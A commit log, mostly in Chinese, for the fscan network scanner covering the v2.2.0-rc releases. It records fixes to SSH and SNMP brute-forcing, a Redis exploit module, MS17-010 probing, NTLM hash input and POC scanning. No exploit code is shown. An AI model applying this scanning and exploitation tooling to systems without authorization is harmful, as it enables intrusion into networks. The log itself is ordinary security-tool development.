361 Commits
Author SHA1 Message Date
ZacharyZcR d7dbccab76 merge dev into main for v2.2.0-rc.1 re-release
发布 / release (push) Has been cancelled
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-06-15 12:46:01 +08:00
ZacharyZcR 6eff1d5ccf fix: 外部审查 8 项修复 + 国密 TLS 按需回退
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
- UserAgent 默认值回退 + 注册 -ua flag (#2)
- README 编译命令 main.go → . (#3)
- README 版本号同步 rc.1 (#4)
- Client.go gmtls stdout 劫持删除 (#5)
- ms17010 smb1GetResponse size<32 越界 panic (#6)
- SSH 拨号超时统一 ModuleTimeout (#8)
- AddPorts 死字段删除 (#9)
- 国密 TLS 按需回退:标准 TLS 握手失败时仅在错误为
  cipher/protocol 不兼容时尝试国密,跳过超时/拒绝等连接级错误
2026-06-15 04:46:25 +08:00
ZacharyZcR 2f7d2d49c6 fix: redis exploit 超时改用配置值 & 清理死代码
- redis exploit 硬编码 30s deadline 改为 config.ModuleTimeout(),与同文件其他超时一致
- 删除 BaseScanStrategy.LogPluginInfo 残留死代码(全是空操作)
- .gitignore 补充 fscan_cli/fscan_web/embed-agent 构建产物
2026-06-14 23:58:56 +08:00
ZacharyZcR 35f3cf1960 docs: release notes 移除实测验证章节
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-06-14 23:01:39 +08:00
ZacharyZcR 065ba6fae7 docs: 更新 v2.2.0-rc.1 release notes,覆盖全部 29 个 commit 的变更 2026-06-14 23:00:26 +08:00
ZacharyZcR 6d61b661f4 fix: 修复实机测试发现的可靠性问题 (v2.2.0-rc.1)
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
- UDP 插件在 -p 指定端口时被跳过
- Redis exploit 无超时保护 / readReply 吞没非超时错误
- service_probe 连接丢失后静默成功
- SNMP 探测成功但终端无输出
- SSH 爆破不稳定 (并发过高 + 自适应超时过短 + 限流误判)
- 进度条 isActive 竞态

新增 Config.ModuleTimeout() 协议级超时下限 (≥3s)
新增 ErrorTypeThrottle 限流错误分类
2026-06-14 22:23:52 +08:00
ZacharyZcR 3babff6863 fix: -hash 支持 LM:NT 格式 & -debug 日志文件修复
1. -hash 支持标准的 LM:NT 格式 (如 aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)
   之前只接受纯 32 字符 NTLM hash,LM:NT 格式报 invalid hash length

2. -debug 日志文件写入修复(已在上一个 commit 中)
2026-06-14 22:23:51 +08:00
ZacharyZcR d7071b7b8e fix: -debug 日志文件写入失败,applyLogLevel 重建 Logger 时丢失 DebugLogFile 配置 2026-06-14 22:23:51 +08:00
ZacharyZcR 6ae37b8892 fix: -nopoc 禁用POC时不再输出错误日志 2026-06-14 22:23:51 +08:00
ZacharyZcR 2b202aa298 fix: 让 -gt 全局超时参数真正生效
-gt 参数之前是死代码:flag 定义了 GlobalTimeout 但从未被使用。
现在在 RunScan 中用它创建带 deadline 的 context,
超时后所有扫描任务(端口扫描、插件执行)被取消。
2026-06-14 22:23:51 +08:00
ZacharyZcR 6d7e6cd394 fix: 修复3个实测输出问题
1. 静默模式NDJSON banner截断至200字符
   Redis INFO响应~5KB导致JSONL单行过长,截断后加...后缀

2. CSV漏洞Type列补全
   ResultTypeVuln的fillDetail未设type字段,CSV Vulns列为空
   统一设为"vulnerability"

3. ICMP权限不足告警精简
   4行告警(listen失败/连接失败/权限不足/切换ping)合并为1行
2026-06-14 22:23:51 +08:00
ZacharyZcR 626d8f79bb fix: 修复3个实测发现的问题
1. -pwd 支持逗号分隔多个密码
   之前 -pwd "123,456,root" 被当作单个密码,SSH root:123 无法匹配
   现在逗号分隔为独立密码,空格保留(可能是密码的一部分)

2. -nobr 禁用爆破时仍检测 Redis 未授权访问
   未授权访问是服务探测不是爆破,不应被 -nobr 跳过
   将未授权检测移到 DisableBrute 判断之前

3. 指定端口时跳过 UDP 插件调度
   -p 80 只扫 HTTP 时不需要 SNMP/BACnet/DNS 等 UDP 探测
   仅在默认端口扫描时才分发 UDP 插件
   效果: -p 80 从 9 秒降到 3 秒
2026-06-14 22:23:51 +08:00
ZacharyZcR a52e93e84c fix: 非终端输出时禁用进度条,防止ANSI控制码覆盖扫描结果 2026-06-14 22:23:50 +08:00
ZacharyZcR 04cae2e42d fix: 彻底解决UDP插件阻塞导致扫描无法结束的问题
根因分析(通过 goroutine dump 定位):
1. UDP conn.Write 在 WSL2 上可能永久阻塞(SetDeadline 对 Write 不生效)
2. SNMP community 爆破混入通用密码字典(57个),串行 × 10s超时 = 10分钟

修复:
- 提取 udpProbe() 公共函数,用 context timeout + conn.Close 双保险
  超时后强制关闭连接,中断阻塞的 Write/Read
- BACnet/DNS/IPMI/TFTP 统一使用 udpProbe()
- SNMP probe 使用 goroutine + context select 保护
- SNMP community 列表不再混入通用密码字典(8个专用 community 足够)
- SNMP 后续 community 爆破用 3s 短超时 + 连续失败 3 次快速退出

效果: 同样的扫描从无限卡死 → 9秒完成
2026-06-14 22:23:50 +08:00
ZacharyZcR 4169eb6ee0 fix: UDP插件改用 conn.SetDeadline 替代类型断言 2026-06-14 22:23:50 +08:00
ZacharyZcR 63631d6cdf fix: 所有UDP插件添加ReadDeadline防止无限阻塞
SNMP/BACnet/DNS/IPMI/TFTP 的 conn.Read() 在目标不响应时
无限阻塞(goroutine 泄漏),导致整个扫描无法结束。

在 Write 前设置 ReadDeadline 确保超时后返回。
2026-06-14 22:23:50 +08:00
ZacharyZcR 4f6bb28138 fix: 修复6个运行时问题
1. 抑制 gmtls 库的 handshake error stdout 噪声
   gmtls/conn.go:1304 硬编码了 fmt.Println,在调用时临时重定向 os.Stdout

2. MySQL 3306 服务名误识别为 genetec-5400
   nmap 指纹库将 MySQL 握手包的随机 salt 误匹配,通过 banner 特征校正

3. 管道输出时自动禁用 ANSI 控制码
   检测 stdout 是否为终端,非终端时自动启用 NoColor

4. 进度条完成消息措辞精确化
   去掉冗余冒号,保持信息简洁一致

5. URL 模式跳过不必要的 TLS 探测
   用户已通过 -u 显式指定 http:// 协议时直接使用,不再做 TLS 握手

6. 无网络探测数据时降低默认重试次数
   -np 跳过存活探测后,将默认重试从 3 降到 2,加速不可达主机的超时
2026-06-14 22:23:49 +08:00
ZacharyZcR 46a6d812a4 fix: DetectPocFormat 误判含 transport 的 fscan POC 为 xray 格式
有 transport 字段但 rules 是数组的 POC(如 apache-httpd-cve-2021-40438)
属于 fscan 格式,不应被 xray 分支兜底。移除错误的 fallback return,
让这类 POC 正确落入 fscan 格式检测分支。

修复前: 388个POC成功380个,失败8个
修复后: 388个POC成功388个,失败0个
2026-06-14 22:23:49 +08:00
ZacharyZcR d4f4e65dec refactor: 4项架构优化 — CEL缓存/POC隔离/服务缓存/结果统一
1. CEL 表达式编译缓存
   - 新增 CelProgCache,同一 POC 的所有规则/参数组合共享编译后的 Program
   - clusterpoc 热路径上消除重复的 Compile+Program 调用

2. POC 全局状态消除
   - allPocs/pocLoaded 全局变量改为 pocStore 按 PocPath 缓存
   - 不同 PocPath 的扫描独立加载,Web API 并发场景不再互相覆盖

3. serviceCache 下沉到 per-session State
   - 服务识别缓存从包级全局 map 迁移到 State.serviceCache (sync.Map)
   - BaseScanStrategy 通过 SetState 注入 session state
   - 消除多个并发扫描之间的服务识别缓存串台

4. POC 结果输出路径统一
   - 提取 buildVulnDetails/buildVulnLogMsg/saveVulnResult 三个公共函数
   - CheckMultiPoc 和 recordVulnerabilityResult 共用统一的结果构造逻辑
   - 消除 details 字段名不一致和日志格式差异
2026-06-14 22:23:49 +08:00
ZacharyZcR a115499793 fix+perf: 修复10个bug & 10项性能优化
Bug修复:
- clustersend CEL结果判断从字符串比较改为类型断言
- Nuclei DSL matcher安全降级为false避免误报
- clusterpoc发现漏洞后返回true修正语义
- reverseCheck加10s超时防止ceye API阻塞
- doSearch/bmatches正则编译结果缓存到sync.Map
- evalset CEL求值失败时存空字符串而非原始表达式
- CEL wait()函数加nil Reverse指针检查防panic
- MongoDB readMongoMsg应用timeout参数设置读超时
- TXTWriter.Close确保Sync失败后仍调用file.Close

性能优化:
- 指纹regex缓存从RWMutex+map改为sync.Map消除锁竞争
- CaseInsensitive指纹词加载时预小写化避免匹配时分配
- 版本提取FindAllStringSubmatch限制返回数量
- i18n.Tr用strconv.Itoa替代Sprintf减少分配
- POC加载用atomic.Bool+DCLP消除热路径锁
- 结果缓冲map预分配容量减少rehash
- HTTP连接池参数随并发数动态调整
- getRuleHash去除反射+Headers排序保证确定性dedup
- POC并发加载用channel替代Mutex收集结果
2026-06-14 22:23:49 +08:00
ZacharyZcR 8402be98e3 优化自适应扫描系统 & 修复 POC 调度问题
自适应扫描优化:
- target/ceiling 分离,自适应池可向上探索而非锁死在 target
- assessHealth 阈值按网络环境区分(LAN 收紧 / Internet 放宽)
- RTT 漂移时动态压低 target,配合 AIMD 双重降速
- 去掉 semaphore 双层流控,由 ants pool 统一反压
- 探测端口从 3 个扩充到 8 个,减少 RTT 采样偏差
- computeRetries 按环境调整目标概率和上限

Bug 修复:
- AdaptivePool.Wait() 加 10 分钟超时,防止 goroutine 卡死时永久挂起
- CEL 环境初始化失败后允许重试(sync.Once → sync.Mutex + 标志位)
- CAS 自旋加 runtime.Gosched() 退避,减少高并发下 CPU 空转
- -full 模式下 web 插件跳过 IsMarkedWebService 检查 #588
- 不确定服务补做 HTTP 回退探测,覆盖自定义框架漏网场景
- POC sets 纯字面量值跳过 CEL 编译,消除大量误报错误日志
2026-06-14 22:23:48 +08:00
ZacharyZcR c49c23c7f0 Harden scan robustness and tests 2026-06-14 22:23:48 +08:00
ZacharyZcR 5ad914a1bb feat: 统一服务缓存 + 指纹驱动插件匹配
将 webServiceCache 扩展为通用 serviceCache,所有指纹识别结果
统一缓存,插件匹配时端口不命中则回退到服务名称匹配。

删除多余的 service_cache.go,复用已有的 ServiceInfo 体系。
补充 nil 防御、Explicit 标记、大量单元/集成/回归测试。
2026-06-14 22:23:47 +08:00
ZacharyZcR 2ab7c4d9b2 fix: 非标准端口的服务无法匹配对应插件 #588
端口扫描识别到 8881 上运行 SSH,但 SSH 插件只注册了 [22,2222,2200,22222],
端口不匹配导致插件不执行。

新增服务名称缓存:端口扫描阶段记录 host:port → serviceName,
插件匹配时端口不命中则回退到服务名称匹配。
2026-06-14 22:23:46 +08:00
ZacharyZcR 5c251b123d fix: 移除误导性的"无可用插件"日志 #588
扫描开始前的插件预检基于端口列表静态匹配,不代表实际扫描中插件
不会执行。移除"无可用插件"提示,避免用户误以为插件未工作。
2026-06-14 22:23:46 +08:00
ZacharyZcR 800cc30794 Fix credential cleanup and explicit tuning flags 2026-06-14 22:23:46 +08:00
ZacharyZcR 8e3cac303d fix: webtitle HTTP 请求失败时重试,修复批量扫描 POC 缺失 #587
批量扫描(-hf)时并发压力导致 HTTP 请求瞬时失败,getWebTitle
直接返回 error,跳过指纹识别和 POC 触发。

加入指数退避重试(200ms→400ms),最多 3 次,复用 config.MaxRetries。
2026-06-14 22:23:45 +08:00
ZacharyZcR 4b79cb7a18 ci: 升级 CI Go 版本到 1.25 2026-06-14 22:23:45 +08:00
ZacharyZcR 9d38874a03 fix: 降级 modernc.org/sqlite 到 v1.39.0 适配 CI 2026-06-14 22:23:45 +08:00
ZacharyZcR 88c7e4f2be feat: 自适应并发调度 — 网络探测 + AIMD + 参数智能推导
扫描前自动探测网络环境(RTT、丢包率、fd limit),基于探测数据
推导 6 个关键参数,替代硬编码默认值:

- Timeout: median_RTT + 4σ(覆盖 99.9% 正常连接)
- ModuleThreadNum: target_concurrency / 30
- MaxRetries: ceil(log(0.01)/log(loss_rate))(全失败概率 <1%)
- ICMPRate: 环境基准 × fd 系数
- PocNum: 跟随 ModuleThreadNum
- DisablePing: 已有 ICMP 权限降级机制

线程池从单信号(资源耗尽率)升级为 AIMD + 慢启动:
- 慢启动:target/4 起步,500ms 翻倍
- 稳态 AIMD:健康 +5%,拥塞 ×0.5
- 双信号:资源耗尽率 + RTT 趋势(双 EMA)

用户 -t 显式指定时作为 ceiling,探测仍调整其他参数。

测试:单元 + 边界 + 集成 + 真实网络,core 包 580+ 用例全通过。
2026-06-14 22:23:45 +08:00
ZacharyZcR e0468ecd35 feat: Web 版独立入口 + SQLite 持久化存储
- 拆分 main.go 为 main_cli.go 和 main_web.go,Web 版不再包含 CLI 参数解析
- Web 版直接启动 HTTP 服务,通过 -port/-lang 控制,无需 -web flag
- 结果存储从内存 map 替换为 SQLite(modernc.org/sqlite,纯 Go 零 CGO)
- 数据库文件 ~/.fscan/results.db,进程重启后结果不丢失
- 修复结果分布面板跟随 tab 筛选联动的问题
2026-06-14 22:23:44 +08:00
ZacharyZcR d0295dcb92 fix: 修复 SSH 扫描 goroutine 泄漏
ssh.NewClientConn 不接受 context,context 取消后底层 TCP 连接未关闭,
导致 readLoop goroutine 永久阻塞在 conn.Read 上。大规模扫描时泄漏数万
goroutine。

- doSSHAuth 新增 goroutine 监听 context 取消并关闭底层连接
- TestSingleCredential 移除 5 秒超时放弃逻辑,改为持续等待清理
2026-06-14 22:23:44 +08:00
ZacharyZcR ade9cd1bff 修复默认扫描 POC 结果缺失 #586 2026-06-14 22:23:44 +08:00
ZacharyZcR 6d91b544de 显示 Web 服务识别 URL 2026-06-14 22:23:44 +08:00
ZacharyZcR 42092d8664 fix: 修复实机测试发现的可靠性问题 (v2.2.0-rc.1)
- UDP 插件在 -p 指定端口时被跳过
- Redis exploit 无超时保护 / readReply 吞没非超时错误
- service_probe 连接丢失后静默成功
- SNMP 探测成功但终端无输出
- SSH 爆破不稳定 (并发过高 + 自适应超时过短 + 限流误判)
- 进度条 isActive 竞态

新增 Config.ModuleTimeout() 协议级超时下限 (≥3s)
新增 ErrorTypeThrottle 限流错误分类
2026-06-14 22:14:02 +08:00
ZacharyZcR bc46e90d89 fix: -hash 支持 LM:NT 格式 & -debug 日志文件修复
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
1. -hash 支持标准的 LM:NT 格式 (如 aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)
   之前只接受纯 32 字符 NTLM hash,LM:NT 格式报 invalid hash length

2. -debug 日志文件写入修复(已在上一个 commit 中)
2026-06-14 09:50:10 +08:00
ZacharyZcR 67f2251da3 fix: -debug 日志文件写入失败,applyLogLevel 重建 Logger 时丢失 DebugLogFile 配置 2026-06-14 09:48:03 +08:00
ZacharyZcR e6c5e5a9a8 fix: -nopoc 禁用POC时不再输出错误日志
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-06-13 23:09:47 +08:00
ZacharyZcR 0356485595 fix: 让 -gt 全局超时参数真正生效
-gt 参数之前是死代码:flag 定义了 GlobalTimeout 但从未被使用。
现在在 RunScan 中用它创建带 deadline 的 context,
超时后所有扫描任务(端口扫描、插件执行)被取消。
2026-06-13 23:04:22 +08:00
ZacharyZcR b085df1878 fix: 修复3个实测输出问题
1. 静默模式NDJSON banner截断至200字符
   Redis INFO响应~5KB导致JSONL单行过长,截断后加...后缀

2. CSV漏洞Type列补全
   ResultTypeVuln的fillDetail未设type字段,CSV Vulns列为空
   统一设为"vulnerability"

3. ICMP权限不足告警精简
   4行告警(listen失败/连接失败/权限不足/切换ping)合并为1行
2026-06-13 22:55:02 +08:00
ZacharyZcR 8fb66e8e2f fix: 修复3个实测发现的问题
1. -pwd 支持逗号分隔多个密码
   之前 -pwd "123,456,root" 被当作单个密码,SSH root:123 无法匹配
   现在逗号分隔为独立密码,空格保留(可能是密码的一部分)

2. -nobr 禁用爆破时仍检测 Redis 未授权访问
   未授权访问是服务探测不是爆破,不应被 -nobr 跳过
   将未授权检测移到 DisableBrute 判断之前

3. 指定端口时跳过 UDP 插件调度
   -p 80 只扫 HTTP 时不需要 SNMP/BACnet/DNS 等 UDP 探测
   仅在默认端口扫描时才分发 UDP 插件
   效果: -p 80 从 9 秒降到 3 秒
2026-06-13 22:35:48 +08:00
ZacharyZcR 272b0e28c8 fix: 非终端输出时禁用进度条,防止ANSI控制码覆盖扫描结果 2026-06-13 22:21:03 +08:00
ZacharyZcR 28686f845d fix: 彻底解决UDP插件阻塞导致扫描无法结束的问题
根因分析(通过 goroutine dump 定位):
1. UDP conn.Write 在 WSL2 上可能永久阻塞(SetDeadline 对 Write 不生效)
2. SNMP community 爆破混入通用密码字典(57个),串行 × 10s超时 = 10分钟

修复:
- 提取 udpProbe() 公共函数,用 context timeout + conn.Close 双保险
  超时后强制关闭连接,中断阻塞的 Write/Read
- BACnet/DNS/IPMI/TFTP 统一使用 udpProbe()
- SNMP probe 使用 goroutine + context select 保护
- SNMP community 列表不再混入通用密码字典(8个专用 community 足够)
- SNMP 后续 community 爆破用 3s 短超时 + 连续失败 3 次快速退出

效果: 同样的扫描从无限卡死 → 9秒完成
2026-06-13 22:07:03 +08:00
ZacharyZcR 06ba595e32 fix: UDP插件改用 conn.SetDeadline 替代类型断言 2026-06-13 21:52:26 +08:00
ZacharyZcR 1a7770530d fix: 所有UDP插件添加ReadDeadline防止无限阻塞
SNMP/BACnet/DNS/IPMI/TFTP 的 conn.Read() 在目标不响应时
无限阻塞(goroutine 泄漏),导致整个扫描无法结束。

在 Write 前设置 ReadDeadline 确保超时后返回。
2026-06-13 21:42:49 +08:00
ZacharyZcR 2a9a3c36e2 fix: 修复6个运行时问题
1. 抑制 gmtls 库的 handshake error stdout 噪声
   gmtls/conn.go:1304 硬编码了 fmt.Println,在调用时临时重定向 os.Stdout

2. MySQL 3306 服务名误识别为 genetec-5400
   nmap 指纹库将 MySQL 握手包的随机 salt 误匹配,通过 banner 特征校正

3. 管道输出时自动禁用 ANSI 控制码
   检测 stdout 是否为终端,非终端时自动启用 NoColor

4. 进度条完成消息措辞精确化
   去掉冗余冒号,保持信息简洁一致

5. URL 模式跳过不必要的 TLS 探测
   用户已通过 -u 显式指定 http:// 协议时直接使用,不再做 TLS 握手

6. 无网络探测数据时降低默认重试次数
   -np 跳过存活探测后,将默认重试从 3 降到 2,加速不可达主机的超时
2026-06-13 19:53:28 +08:00
ZacharyZcR 70cce742e1 fix: DetectPocFormat 误判含 transport 的 fscan POC 为 xray 格式
有 transport 字段但 rules 是数组的 POC(如 apache-httpd-cve-2021-40438)
属于 fscan 格式,不应被 xray 分支兜底。移除错误的 fallback return,
让这类 POC 正确落入 fscan 格式检测分支。

修复前: 388个POC成功380个,失败8个
修复后: 388个POC成功388个,失败0个
2026-06-13 19:31:16 +08:00
ZacharyZcR 02ad8f5334 refactor: 4项架构优化 — CEL缓存/POC隔离/服务缓存/结果统一
1. CEL 表达式编译缓存
   - 新增 CelProgCache,同一 POC 的所有规则/参数组合共享编译后的 Program
   - clusterpoc 热路径上消除重复的 Compile+Program 调用

2. POC 全局状态消除
   - allPocs/pocLoaded 全局变量改为 pocStore 按 PocPath 缓存
   - 不同 PocPath 的扫描独立加载,Web API 并发场景不再互相覆盖

3. serviceCache 下沉到 per-session State
   - 服务识别缓存从包级全局 map 迁移到 State.serviceCache (sync.Map)
   - BaseScanStrategy 通过 SetState 注入 session state
   - 消除多个并发扫描之间的服务识别缓存串台

4. POC 结果输出路径统一
   - 提取 buildVulnDetails/buildVulnLogMsg/saveVulnResult 三个公共函数
   - CheckMultiPoc 和 recordVulnerabilityResult 共用统一的结果构造逻辑
   - 消除 details 字段名不一致和日志格式差异
2026-06-13 19:24:57 +08:00
ZacharyZcR 6a1636112f fix+perf: 修复10个bug & 10项性能优化
Bug修复:
- clustersend CEL结果判断从字符串比较改为类型断言
- Nuclei DSL matcher安全降级为false避免误报
- clusterpoc发现漏洞后返回true修正语义
- reverseCheck加10s超时防止ceye API阻塞
- doSearch/bmatches正则编译结果缓存到sync.Map
- evalset CEL求值失败时存空字符串而非原始表达式
- CEL wait()函数加nil Reverse指针检查防panic
- MongoDB readMongoMsg应用timeout参数设置读超时
- TXTWriter.Close确保Sync失败后仍调用file.Close

性能优化:
- 指纹regex缓存从RWMutex+map改为sync.Map消除锁竞争
- CaseInsensitive指纹词加载时预小写化避免匹配时分配
- 版本提取FindAllStringSubmatch限制返回数量
- i18n.Tr用strconv.Itoa替代Sprintf减少分配
- POC加载用atomic.Bool+DCLP消除热路径锁
- 结果缓冲map预分配容量减少rehash
- HTTP连接池参数随并发数动态调整
- getRuleHash去除反射+Headers排序保证确定性dedup
- POC并发加载用channel替代Mutex收集结果
2026-06-13 18:46:14 +08:00
ZacharyZcR 45ebe7040e 优化自适应扫描系统 & 修复 POC 调度问题
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
自适应扫描优化:
- target/ceiling 分离,自适应池可向上探索而非锁死在 target
- assessHealth 阈值按网络环境区分(LAN 收紧 / Internet 放宽)
- RTT 漂移时动态压低 target,配合 AIMD 双重降速
- 去掉 semaphore 双层流控,由 ants pool 统一反压
- 探测端口从 3 个扩充到 8 个,减少 RTT 采样偏差
- computeRetries 按环境调整目标概率和上限

Bug 修复:
- AdaptivePool.Wait() 加 10 分钟超时,防止 goroutine 卡死时永久挂起
- CEL 环境初始化失败后允许重试(sync.Once → sync.Mutex + 标志位)
- CAS 自旋加 runtime.Gosched() 退避,减少高并发下 CPU 空转
- -full 模式下 web 插件跳过 IsMarkedWebService 检查 #588
- 不确定服务补做 HTTP 回退探测,覆盖自定义框架漏网场景
- POC sets 纯字面量值跳过 CEL 编译,消除大量误报错误日志
2026-06-13 12:39:24 +08:00
ZacharyZcR 15a7670ba2 Harden scan robustness and tests 2026-06-13 07:55:37 +08:00
ZacharyZcR 1595c92aed feat: 统一服务缓存 + 指纹驱动插件匹配
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
将 webServiceCache 扩展为通用 serviceCache,所有指纹识别结果
统一缓存,插件匹配时端口不命中则回退到服务名称匹配。

删除多余的 service_cache.go,复用已有的 ServiceInfo 体系。
补充 nil 防御、Explicit 标记、大量单元/集成/回归测试。
2026-06-12 19:49:07 +08:00
ZacharyZcR 517133f72f fix: 非标准端口的服务无法匹配对应插件 #588
端口扫描识别到 8881 上运行 SSH,但 SSH 插件只注册了 [22,2222,2200,22222],
端口不匹配导致插件不执行。

新增服务名称缓存:端口扫描阶段记录 host:port → serviceName,
插件匹配时端口不命中则回退到服务名称匹配。
2026-06-12 19:31:56 +08:00
ZacharyZcR 0918eb38a6 fix: 移除误导性的"无可用插件"日志 #588
扫描开始前的插件预检基于端口列表静态匹配,不代表实际扫描中插件
不会执行。移除"无可用插件"提示,避免用户误以为插件未工作。
2026-06-12 16:36:27 +08:00
ZacharyZcR 5b7e72e56e Fix credential cleanup and explicit tuning flags 2026-06-12 15:30:44 +08:00
ZacharyZcR 52f872b8d1 fix: webtitle HTTP 请求失败时重试,修复批量扫描 POC 缺失 #587
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
批量扫描(-hf)时并发压力导致 HTTP 请求瞬时失败,getWebTitle
直接返回 error,跳过指纹识别和 POC 触发。

加入指数退避重试(200ms→400ms),最多 3 次,复用 config.MaxRetries。
2026-06-12 12:23:54 +08:00
ZacharyZcR 66b175d623 ci: 升级 CI Go 版本到 1.25 2026-06-12 11:41:49 +08:00
ZacharyZcR 6b5bc191ca fix: 降级 modernc.org/sqlite 到 v1.39.0 适配 CI 2026-06-12 10:11:34 +08:00
ZacharyZcR f883944b2b feat: 自适应并发调度 — 网络探测 + AIMD + 参数智能推导
扫描前自动探测网络环境(RTT、丢包率、fd limit),基于探测数据
推导 6 个关键参数,替代硬编码默认值:

- Timeout: median_RTT + 4σ(覆盖 99.9% 正常连接)
- ModuleThreadNum: target_concurrency / 30
- MaxRetries: ceil(log(0.01)/log(loss_rate))(全失败概率 <1%)
- ICMPRate: 环境基准 × fd 系数
- PocNum: 跟随 ModuleThreadNum
- DisablePing: 已有 ICMP 权限降级机制

线程池从单信号(资源耗尽率)升级为 AIMD + 慢启动:
- 慢启动:target/4 起步,500ms 翻倍
- 稳态 AIMD:健康 +5%,拥塞 ×0.5
- 双信号:资源耗尽率 + RTT 趋势(双 EMA)

用户 -t 显式指定时作为 ceiling,探测仍调整其他参数。

测试:单元 + 边界 + 集成 + 真实网络,core 包 580+ 用例全通过。
2026-06-12 09:46:02 +08:00
ZacharyZcR 683707fcd4 feat: Web 版独立入口 + SQLite 持久化存储
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
- 拆分 main.go 为 main_cli.go 和 main_web.go,Web 版不再包含 CLI 参数解析
- Web 版直接启动 HTTP 服务,通过 -port/-lang 控制,无需 -web flag
- 结果存储从内存 map 替换为 SQLite(modernc.org/sqlite,纯 Go 零 CGO)
- 数据库文件 ~/.fscan/results.db,进程重启后结果不丢失
- 修复结果分布面板跟随 tab 筛选联动的问题
2026-06-12 05:17:26 +08:00
ZacharyZcR b94e8bc4ca fix: 修复 SSH 扫描 goroutine 泄漏
ssh.NewClientConn 不接受 context,context 取消后底层 TCP 连接未关闭,
导致 readLoop goroutine 永久阻塞在 conn.Read 上。大规模扫描时泄漏数万
goroutine。

- doSSHAuth 新增 goroutine 监听 context 取消并关闭底层连接
- TestSingleCredential 移除 5 秒超时放弃逻辑,改为持续等待清理
2026-06-12 03:59:02 +08:00
ZacharyZcR 4198c1abc8 修复默认扫描 POC 结果缺失 #586
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-06-04 14:41:49 +08:00
ZacharyZcR 68f990d20b 显示 Web 服务识别 URL 2026-06-04 14:26:20 +08:00
ZacharyZcR 72042111c6 Merge pull request #580 from shadow1ng/dev
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
v2.2.0-rc Release
2026-06-01 08:54:24 +08:00
ZacharyZcR 08a87b3128 ci: 完善发版流程
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
- release workflow 自动读取 .github/release-notes/<tag>.md 覆盖 body
- 移除手动 prerelease input(goreleaser auto 模式根据 tag 后缀判断)
- 新增 RELEASE.md 发版流程文档
2026-06-01 08:42:17 +08:00
ZacharyZcR cc1af631f0 fix: CI 测试排除路径 mylib → libs 2026-06-01 08:40:14 +08:00
ZacharyZcR 5078fbc975 fix: 更新 lint 排除路径 mylib → libs 2026-06-01 08:39:49 +08:00
ZacharyZcR 354ad2e24b chore: 移除 fscan-lite (C 版本)
功能过于单一(仅 TCP 端口扫描),与 fscan 品牌定位不符。
fscan-nolocal 已是精简版的正确方案。

- 删除 fscan-lite 源码和构建脚本
- goreleaser 移除 lite 构建步骤
- CI 不再安装 mingw 交叉编译工具
2026-06-01 08:37:04 +08:00
ZacharyZcR 942f0fa6c3 fix: web API 版本号改为动态获取,不再硬编码 2026-06-01 08:34:42 +08:00
ZacharyZcR 37b77f9c86 docs: 添加 v2.2.0-rc Release Notes 草稿
用于发版时 gh release create --notes-file 引用。
2026-06-01 08:28:59 +08:00
ZacharyZcR a02eed0518 refactor: mylib 重命名为 libs
更清晰的目录命名,libs/ 存放内嵌的独立协议实现库。
2026-06-01 08:22:13 +08:00
ZacharyZcR 019d13c9d4 chore: 版本号更新为 2.2.0-rc
- README/README_EN 版本标记更新
- globals.go version 常量更新
- 移除 Issue 模板中不可用的安全报告链接
2026-06-01 08:20:01 +08:00
ZacharyZcR c43982f834 chore: 更新 Issue 模板
- 版本号更新至 2.2.0-rc / 2.1.3 / 2.1.2
- 移除 placeholder 预填充内容,避免用户不删不改直接提交
- 新增 SDK、代理、mips 等选项
- macOS/Ubuntu 版本更新
- 新增安全漏洞报告入口指引
- 模板顶部增加"未填写有效信息会被关闭"提示
2026-06-01 08:17:00 +08:00
ZacharyZcR d6d323854a refactor: 完成全局状态到 session 的完整迁移
将 plugins/services、plugins/local、plugins/web、webscan 层的日志输出、
漏洞结果保存和 TCP 计数器从全局 common.Log*/GetGlobalState() 迁移到
session 实例方法,确保 SDK 并发扫描时各实例完全隔离。

- 50 个文件,所有插件日志走 session.Log*
- DoRequest 加入 session 参数,计数器走 session.State
- POC 执行器通过 POCContext.Session 传递
- 仅保留 init() 和 CEL runtime 等无 session 场景的全局回退
2026-06-01 08:13:23 +08:00
ZacharyZcR 569d21a8bc fix: harden address parsing edge cases 2026-06-01 04:03:46 +08:00
ZacharyZcR 8ec96bfe6d fix: harden scan edge cases 2026-06-01 03:32:13 +08:00
ZacharyZcR 8b558b4f12 fix: align atomic counters on arm 2026-06-01 03:03:40 +08:00
ZacharyZcR 3e4e2db722 feat: stream large host scans 2026-06-01 02:55:28 +08:00
ZacharyZcR ac755a9b4a test: avoid expanding massive CIDRs 2026-06-01 02:33:10 +08:00
ZacharyZcR ea17b5b1bc feat: allow multiple added passwords
Fixes #584
2026-06-01 02:06:15 +08:00
ZacharyZcR bfc0e0fb52 fix: support SOCKS5 proxy auth
